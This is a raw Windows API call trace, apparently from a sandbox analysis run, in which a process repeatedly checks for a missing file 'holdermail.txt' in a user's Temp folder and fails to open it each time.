	[0089.003] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.004] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.004] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.004] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.004] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.005] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.005] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.005] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.005] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.006] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.006] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.006] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.006] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.006] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.006] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.006] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.007] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.007] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.007] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.007] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.007] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.007] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.008] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.008] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.008] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.008] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.008] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.009] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.009] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.009] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.009] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.010] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.010] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.010] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.010] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.010] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.010] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.011] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.011] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.011] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.011] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.011] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.011] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.011] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.012] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.012] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.012] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.012] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.012] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.012] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.012] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.012] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.013] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.013] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.013] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.013] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.014] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.014] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.014] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.014] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.015] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.015] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.015] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.015] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.015] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.015] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.016] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.016] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.016] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.016] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.016] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.016] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.017] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.017] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.017] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.017] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.017] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.017] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.017] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.018] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
